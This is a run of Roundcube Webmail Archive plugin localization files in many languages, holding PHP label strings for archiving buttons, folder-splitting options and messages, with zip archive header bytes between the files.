$labels['archivetypefolder'] = 'Folder asli';
$labels['archivetypesender'] = 'Email pengirim';
$labels['unkownsender'] = 'Tidak dikenal';
$labels['readonarchive'] = 'Tandai pesan telah dibaca di arsip';
PKh�\��<�<<$plugins/archive/localization/tzl.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['unkownsender'] = 'inschì';
PKh�\
Utaa&plugins/archive/localization/hu_HU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Archiválás';
$labels['buttontitle'] = 'Üzenet archiválása';
$labels['archived'] = 'Sikeres archiválás';
$labels['archivedreload'] = 'Az arhiválás sikeres. Frissitsd az oldalt, hogy lásd a létrejött arhivum mappákat.';
$labels['archiveerror'] = 'Néhány üzenetet nem sikerült arhiválni';
$labels['archivefolder'] = 'Archiválás';
$labels['settingstitle'] = 'Archiválás';
$labels['archivetype'] = 'Arhívum tovább bontása a következő szerint';
$labels['archivetypeyear'] = 'Év ( pl Arhívum/2012)';
$labels['archivetypemonth'] = 'Honap ( pl Arhívum/2012/06)';
$labels['archivetypetbmonth'] = 'Honap - Thunderbird kompatibilis ( pl Arhívum/2012/2012-06)';
$labels['archivetypefolder'] = 'Eredeti mappa';
$labels['archivetypefolderyear'] = 'Év és az eredeti mappa (pl: Archív/2012/...)';
$labels['archivetypefoldermonth'] = 'Év, hónap és az eredeti mappa  (pl: Archív/2012/06/...)';
$labels['archivetypesender'] = 'Feladó';
$labels['unkownsender'] = 'ismeretlen';
$labels['readonarchive'] = 'Üzenet olvasottként jelölése arhiváláskor';
PKh�\�'�Sbb&plugins/archive/localization/ro_RO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Arhivă';
$labels['buttontitle'] = 'Arhivează mesajul.';
$labels['archived'] = 'Arhivare reuşită.';
$labels['archivedreload'] = 'Arhivat cu succes. Reîncărcați pagina pentru a vedea noul dosar de arhivare.';
$labels['archiveerror'] = 'Unele mesaje nu au putut fi arhivate';
$labels['archivefolder'] = 'Arhivă';
$labels['settingstitle'] = 'Arhivă';
$labels['archivetype'] = 'Împarte arhiva pe';
$labels['archivetypeyear'] = 'Ani (ex. Arhiva/2013)';
$labels['archivetypemonth'] = 'Luni (ex. Arhiva/2013/06)';
$labels['archivetypetbmonth'] = 'Luni - Compatibil Thunderbird (ex. Arhivă/2012/2012-06)';
$labels['archivetypefolder'] = 'Dosar original';
$labels['archivetypesender'] = 'E-mail expeditor';
$labels['unkownsender'] = 'necunoscut';
$labels['readonarchive'] = 'Marchează mesajul ca citit în arhivă';
PKh�\u7�#plugins/archive/localization/eo.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Arkivigi';
$labels['buttontitle'] = 'Arkivigi ĉi tiun mesaĝon';
$labels['archived'] = 'Sukcese arkivigita';
$labels['archivefolder'] = 'Arkivo';
$labels['settingstitle'] = 'Arkivigi';
$labels['unkownsender'] = 'nekonata';
PKh�\�DD&plugins/archive/localization/bn_BD.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['unkownsender'] = 'অজানা';
PKh�\��n'ss&plugins/archive/localization/fr_FR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Archiver';
$labels['buttontitle'] = 'Archiver ce courriel';
$labels['archived'] = 'Archivé avec succès';
$labels['archivedreload'] = 'Archivé avec succès. Recharger la page pour voir les nouveaux dossiers d’archives.';
$labels['archiveerror'] = 'Certains courriels n’ont pas pu être archivés.';
$labels['archivefolder'] = 'Archives';
$labels['settingstitle'] = 'Archives';
$labels['archivetype'] = 'Diviser l’archive par';
$labels['archivetypeyear'] = 'Année (p. ex. Archives/2012)';
$labels['archivetypemonth'] = 'Mois (p. ex. Archives/2012/06)';
$labels['archivetypetbmonth'] = 'Mois – compatible avec Thunderbird (p.ex. Archive/2012/2012-06)';
$labels['archivetypefolder'] = 'Dossier original';
$labels['archivetypefolderyear'] = 'Année et le dossier original (p. ex. Archive/2012/…)';
$labels['archivetypefoldermonth'] = 'Année, mois et le dossier original (p. ex. Archive/2012/06/…)';
$labels['archivetypesender'] = 'Courriel de l’expéditeur';
$labels['unkownsender'] = 'inconnu';
$labels['readonarchive'] = 'Marquer le courriel comme lu lors de l’archivage';
PKh�\;8���&plugins/archive/localization/hr_HR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Arhiva';
$labels['buttontitle'] = 'Arhiviraj poruku';
$labels['archived'] = 'Uspješno arhivirano';
$labels['archivedreload'] = 'Uspješno arhivirano. Osvježite stranicu kako biste vidjeli nove arhivske mape.';
$labels['archiveerror'] = 'Neke poruke nije bilo moguće arhivirati';
$labels['archivefolder'] = 'Arhiva';
$labels['settingstitle'] = 'Arhiva';
$labels['archivetype'] = 'Podijeli arhivu po';
$labels['archivetypeyear'] = 'Godina (npr. Arhiva/2012)';
$labels['archivetypemonth'] = 'Mjesec (e.g. Arhiva/2012/06)';
$labels['archivetypefolder'] = 'Izvorna mapa';
$labels['archivetypesender'] = 'E-mail adresa pošiljatelja';
$labels['unkownsender'] = 'nepoznato';
PKh�\ma�UU&plugins/archive/localization/pl_PL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Archiwum';
$labels['buttontitle'] = 'Przenieś do archiwum';
$labels['archived'] = 'Pomyślnie zarchiwizowano';
$labels['archivedreload'] = 'Pomyślnie zarchiwizowano. Odśwież stronę aby zobaczyć nowe foldery.';
$labels['archiveerror'] = 'Nie można zarchiwizować niektórych wiadomości';
$labels['archivefolder'] = 'Archiwum';
$labels['settingstitle'] = 'Archiwum';
$labels['archivetype'] = 'Podziel archiwum wg';
$labels['archivetypeyear'] = 'Roku (np. Archiwum/2012)';
$labels['archivetypemonth'] = 'Miesiąca (np. Archiwum/2012/06)';
$labels['archivetypetbmonth'] = 'Miesiąca - Kompatybilnie z Thunderbird (np. Archive/2012/2012-06)';
$labels['archivetypefolder'] = 'Oryginalny folder';
$labels['archivetypefolderyear'] = 'Rok i folder wiadomości (np. Archive/2012/...)';
$labels['archivetypefoldermonth'] = 'Rok, miesiąc i folder wiadomości (np. Archive/2012/06/...)';
$labels['archivetypesender'] = 'E-mail nadawcy';
$labels['unkownsender'] = 'nieznany';
$labels['readonarchive'] = 'Podczas archiwizowania oznacz wiadomość jako przeczytaną';
PKh�\7��"��&plugins/archive/localization/mr_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'जतन केलेला';
$labels['buttontitle'] = 'हा संदेश जतन करा';
$labels['archived'] = 'यशस्वीरीत्या जतन केला';
$labels['archivefolder'] = 'जतन केलेला';
$labels['settingstitle'] = 'जतन केलेला';
$labels['unkownsender'] = 'माहित नसलेला';
PKh�\���&plugins/archive/localization/ja_JP.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'アーカイブ';
$labels['buttontitle'] = 'このメッセージをアーカイブ';
$labels['archived'] = 'アーカイブしました。';
$labels['archivedreload'] = 'アーカイブしました。ページを再読み込みすると、新しいアーカイブのフォルダーを表示します。';
$labels['archiveerror'] = 'アーカイブできないメッセージがありました';
$labels['archivefolder'] = 'アーカイブ';
$labels['settingstitle'] = 'アーカイブ';
$labels['archivetype'] = 'アーカイブを分割: ';
$labels['archivetypeyear'] = '年 (例: アーカイブ/2012)';
$labels['archivetypemonth'] = '月 (例: アーカイブ/2012/06)';
$labels['archivetypetbmonth'] = '月 - Thunderbird互換 (例: アーカイブ/2012/2012-06)';
$labels['archivetypefolder'] = '元のフォルダー';
$labels['archivetypefolderyear'] = '年と元のフォルダー (例: アーカイブ/2012/...)';
$labels['archivetypefoldermonth'] = '年、月と元のフォルダー (例: アーカイブ/2012/06/...)';
$labels['archivetypesender'] = '電子メールの送信者';
$labels['unkownsender'] = '不明';
$labels['readonarchive'] = 'アーカイブでメッセージを既読に設定';
PKh�\ܬ�CC#plugins/archive/localization/ps.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['unkownsender'] = 'نامعلوم';
PKh�\�.qi��&plugins/archive/localization/nn_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Arkiver';
$labels['buttontitle'] = 'Arkiver meldinga';
$labels['archived'] = 'Arkivert';
$labels['archivedreload'] = 'Arkivering vellukka. Last inn sida på nytt for å sjå dei nye arkivmappene.';
$labels['archiveerror'] = 'Nokre meldingar kunne ikkje arkiverast';
$labels['archivefolder'] = 'Arkiver';
$labels['settingstitle'] = 'Arkiv';
$labels['archivetype'] = 'Del arkiv etter';
$labels['archivetypeyear'] = 'År (f.eks. Arkiv/2012)';
$labels['archivetypemonth'] = 'Månad (f.eks. Arkiv/2012/06)';
$labels['archivetypefolder'] = 'Opprinneleg mappe';
$labels['archivetypesender'] = 'Avsendar';
$labels['unkownsender'] = 'ukjent';
PKh�\�`}
��$plugins/archive/localization/ast.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Archivu';
$labels['buttontitle'] = 'Archivar esti mensaxe';
$labels['archived'] = 'Archiváu con ésitu';
$labels['archivedreload'] = 'Archiváu con ésitu. Recarga la páxina pa ver les nueves carpetes d\'archivos.';
$labels['archiveerror'] = 'Nun pudieron archivase dalgunos mensaxes';
$labels['archivefolder'] = 'Archivu';
$labels['settingstitle'] = 'Archivu';
$labels['archivetype'] = 'Dividir l\'archivu por';
$labels['archivetypeyear'] = 'Añu (p.ex. Archivu/2012)';
$labels['archivetypemonth'] = 'Mes (p.ex. Archivu/2012/06)';
$labels['archivetypefolder'] = 'Carpeta orixinal';
$labels['archivetypesender'] = 'Corréu-e del remitente';
$labels['unkownsender'] = 'desconocíu';
PKh�\ʞ�tt$plugins/archive/localization/kab.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Ḥrez';
$labels['buttontitle'] = 'Ḥrez izen-agi';
$labels['archived'] = 'Aḥraz yedda akken iwata';
$labels['archivefolder'] = 'Aḥraz';
$labels['settingstitle'] = 'Aḥraz';
$labels['archivetypeyear'] = 'Aseggas(md. Aḥraz/2012)';
$labels['archivetypesender'] = 'Imayl n umazan';
$labels['unkownsender'] = 'arussin';
PKh�\��9*��&plugins/archive/localization/sr_CS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Архивирај';
$labels['buttontitle'] = 'Архивирај ову поруку';
$labels['archived'] = 'Успешно архивирано';
$labels['archivedreload'] = 'Успешно архивирано. Поново учитајте страну да видите нове архивиране фасцикле.';
$labels['archiveerror'] = 'Неке поруке се нису могле архивирати';
$labels['archivefolder'] = 'Архива';
$labels['settingstitle'] = 'Архивирање';
$labels['archivetype'] = 'Разврстај архиве по';
$labels['archivetypeyear'] = 'години (нпр. Архива/2015)';
$labels['archivetypemonth'] = 'месецу (нпр. Архива/2015/03)';
$labels['archivetypetbmonth'] = 'месецу - као Тандерберд (нпр. Архива/2012/2012-03)';
$labels['archivetypefolder'] = 'изворној фасцикли';
$labels['archivetypesender'] = 'адреси пошиљаоца';
$labels['unkownsender'] = 'непознато';
$labels['readonarchive'] = 'Поруку означи као прочитану при архивирању';
PKh�\h��c&plugins/archive/localization/lb_LU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Archivéieren';
$labels['buttontitle'] = 'Dëse Message archivéieren';
$labels['archived'] = 'Erfollegräich archivéiert';
$labels['archivedreload'] = 'Erfollegräich archivéiert. Lued d\'Säit nei fir déi neisten Archiv-Dossieren ze gesinn.';
$labels['archiveerror'] = 'Verschidde Messagë konnten net archivéiert ginn';
$labels['archivefolder'] = 'Archiv';
$labels['settingstitle'] = 'Archiv';
$labels['archivetype'] = 'Archiv dividéieren duerch';
$labels['archivetypeyear'] = 'Joer (z.B. Archiv/2013)';
$labels['archivetypemonth'] = 'Mount (z.B. Archiv/2013/06)';
$labels['archivetypetbmonth'] = 'Mount - Thunderbird kompatibel (z.B. Archiv/2012/2012-06)';
$labels['archivetypefolder'] = 'Original-Dossier';
$labels['archivetypefolderyear'] = 'Joer an den original Dossier (z.B. Archiv/2012/...)';
$labels['archivetypefoldermonth'] = 'Joer, Mount an den original Dossier (z.B. Archiv/2012/...)';
$labels['archivetypesender'] = 'Sender-E-Mail';
$labels['unkownsender'] = 'onbekannt';
PKh�\��JM��&plugins/archive/localization/fa_AF.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'ارشیو';
$labels['buttontitle'] = 'ارشیو این پیام';
$labels['archived'] = 'با موفقیت ارشیو شد';
$labels['archivefolder'] = 'ارشیو';
$labels['settingstitle'] = 'ارشیو';
$labels['archivetypefolder'] = 'پوشه اصلی';
$labels['archivetypesender'] = 'ایمیل فرستنده';
$labels['unkownsender'] = 'نا شناس';
PKh�\������#plugins/archive/localization/br.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Diell';
$labels['buttontitle'] = 'Diellaouiñ ar gemennadenn-mañ';
$labels['archived'] = 'Diellaouet gant berzh';
$labels['archivedreload'] = 'Diellaouet gant berzh. Adkargit ar bajenn da welet an teuliad dielloù nevez.';
$labels['archiveerror'] = 'Ul lodenn eus ar c\'hemennadennoù n\'hallont ket bezañ diellaouet';
$labels['archivefolder'] = 'Diell';
$labels['settingstitle'] = 'Diell';
$labels['archivetype'] = 'Rannañ an diell dre';
$labels['archivetypeyear'] = 'Bloaz (sk: Diell/2012)';
$labels['archivetypemonth'] = 'Miz (sk: Diell/2012/06)';
$labels['archivetypefolder'] = 'Teuliad orin';
$labels['archivetypesender'] = 'Postel ar c\'haser';
$labels['unkownsender'] = 'dianav';
PKh�\��GG&plugins/archive/localization/ka_GE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['unkownsender'] = 'უცნობი';
PKh�\E}l�]]&plugins/archive/localization/mk_MK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Архива ';
$labels['buttontitle'] = 'Архивирај ја оваа порака ';
$labels['archived'] = 'Успешно архивирана ';
$labels['archivedreload'] = 'Успешно архивирано. Вчитај ја страната повторно за да ги видиш новите архивирани папки.';
$labels['archiveerror'] = 'Некои пораки не може да бидат архивирани ';
$labels['archivefolder'] = 'Архива ';
$labels['settingstitle'] = 'Архива ';
$labels['archivetype'] = 'Подели архива по ';
$labels['archivetypeyear'] = 'Година (пр. Архива/2012/06)';
$labels['archivetypemonth'] = 'Месец (пр. Архива/2012/06)';
$labels['archivetypefolder'] = 'Оригинална папка ';
$labels['archivetypesender'] = 'Електронска пошта на испраќач';
$labels['unkownsender'] = 'Непознато ';
$labels['readonarchive'] = 'Обележи ја пораката како прочитана на архивата ';
PKh�\�l����&plugins/archive/localization/km_KH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'ប័ណ្ណសារ';
$labels['buttontitle'] = 'ធ្វើ​សារ​នេះ​ជា​បណ្ណសារ';
$labels['archived'] = 'ធ្វើ​ជា​បណ្ណសារ​បាន​សម្រេច';
$labels['archivedreload'] = 'ធ្វើ​ជា​បណ្ណសារ​បាន​សម្រេច។ ផ្ទុក​ទំព័រ​ឡើង​វិញ ដើម្បី​មើល​ថត​បណ្ណសារ​ថ្មី។';
$labels['archiveerror'] = 'សារ​ខ្លះ​មិន​អាច​ត្រូវ​បាន​ធ្វើ​ជា​បណ្ណសារ​ទេ';
$labels['archivefolder'] = 'ប័ណ្ណសារ';
$labels['settingstitle'] = 'បណ្ណសារ';
$labels['archivetype'] = 'ចែក​បណ្ណសារ​តាម';
$labels['archivetypeyear'] = 'ឆ្នាំ (ឧទា. បណ្ណសារ/2012)';
$labels['archivetypemonth'] = 'ខែ (ឧទា. បណ្ណសារ/2012/06)';
$labels['archivetypefolder'] = 'ថត​ដើម';
$labels['archivetypesender'] = 'អ្នក​ផ្ញើ​អ៊ីមែល';
$labels['unkownsender'] = 'មិន​ស្គាល់';
PKh�\�A����&plugins/archive/localization/mn_MN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Архив';
$labels['buttontitle'] = 'Энэ зурвасыг архивлах';
$labels['archived'] = 'Амжилттай архивлагдлаа';
$labels['archivedreload'] = 'Амжилттай архивлагдлаа. Хуудсыг дахин дуудаж шинэ үүссэн архив хавтсыг харна уу.';
$labels['archiveerror'] = 'Зарим зурвас архивлагдаж чадахгүй';
$labels['archivefolder'] = 'Архив';
$labels['settingstitle'] = 'Архив';
$labels['archivetype'] = 'Архивыг дараахаар ялга: ';
$labels['archivetypeyear'] = 'Он (жиш: Архив/2012)';
$labels['archivetypemonth'] = 'Сар (жиш: Архив/2012/06)';
$labels['archivetypefolder'] = 'Жинхэнэ хавтас';
$labels['archivetypesender'] = 'Илгээгчийн мэйл хаяг';
$labels['unkownsender'] = 'мэдэгдэхгүй';
PKh�\IW�]]&plugins/archive/localization/he_IL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'ארכיון';
$labels['buttontitle'] = 'משלוח ההודעה לארכיב';
$labels['archived'] = 'עדכון הארכיון הצליח';
$labels['archivedreload'] = 'נשמר בהצלחה בארכיב. יש לרענו את הדף כדי לראות את התיקיות החדשות בארכיב.';
$labels['archiveerror'] = 'לא ניתן היה להעביר לארכיב חלק מההודעות';
$labels['archivefolder'] = 'ארכיון';
$labels['settingstitle'] = 'ארכיב';
$labels['archivetype'] = 'לחלק את הארכיב על ידי';
$labels['archivetypeyear'] = 'שנה ( לדוגמה, ארכיב/2012 )';
$labels['archivetypemonth'] = 'חודש ( לדוגמה, ארכיב/2012/06 )';
$labels['archivetypetbmonth'] = 'חודש - תואם תאנדרבירד ( לדוגמה, ארכיב/2012/2012-06 )';
$labels['archivetypefolder'] = 'תיקיה מקורית';
$labels['archivetypefolderyear'] = 'שנה ושם התיקיה המקורית ( לדוגמה, לקוחות/2012 )';
$labels['archivetypefoldermonth'] = 'שנה, חודש ושם התיקיה המקורית (לדוגמה, לקוחות/2012/06/.....)';
$labels['archivetypesender'] = 'שולח ההודעה';
$labels['unkownsender'] = 'לא ידוע';
$labels['readonarchive'] = 'יש לסמן את ההודעה בארכיב כאילו נקראה';
PKh�\�i�W&plugins/archive/localization/ga_IE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Cuir sa chartlann';
$labels['buttontitle'] = 'Cuir an teachtaireacht seo sa chartlann';
$labels['archived'] = 'Curtha go ráthúil sa chartlann';
$labels['archivedreload'] = 'Curtha go ráthúil sa chartlann. Athluchtaigh an leathanach chun na fillteáin chartlainne nua a fheiceáil.';
$labels['archiveerror'] = 'Níorbh fhéidir roinnt teachtaireachtaí a chur sa chartlann';
$labels['archivefolder'] = 'An Chartlann';
$labels['settingstitle'] = 'Cartlann';
$labels['archivetype'] = 'Roinn an chartlann de réir';
$labels['archivetypeyear'] = 'Biiain (m.sh. Cartlann/2012)';
$labels['archivetypemonth'] = 'Mí (m.sh. Cartlann/2012/06)';
$labels['archivetypetbmonth'] = 'Mí - comhoiriúnach le Thunderbird (m.sh. Cartlann/2012/2012-06)';
$labels['archivetypefolder'] = 'An fillteán bunaidh';
$labels['archivetypesender'] = 'Seoladh ríomhphoist an tseoltóra';
$labels['unkownsender'] = 'anaithnid';
$labels['readonarchive'] = 'Rianaigh an teachtaireacht mar léite sa chartlann';
PKh�\RJ�k&plugins/archive/localization/da_DK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-archive/
*/

$labels['buttontext'] = 'Arkiv';
$labels['buttontitle'] = 'Arkivér denne besked';
$labels['archived'] = 'Succesfuldt arkiveret.';
$labels['archivedreload'] = 'Arkivering lykkedes. Genindlæs siden for at se den nye arkiv mappe.';
$labels['archiveerror'] = 'Nogle meddelelser kunne ikke arkiveres';
$labels['archivefolder'] = 'Arkiv';
$labels['settingstitle'] = 'Arkiver';
$labels['archivetype'] = 'Del arkiv med';
$labels['archivetypeyear'] = 'År (f.eks. Arkiv/2012)';
$labels['archivetypemonth'] = 'Måned (f.eks. Arkiv/2012/06)';
$labels['archivetypetbmonth'] = 'Måned - Thunderbird kompatibelt(f.eks. Arkiv/2012/2012-06)';
$labels['archivetypefolder'] = 'Original mappe';
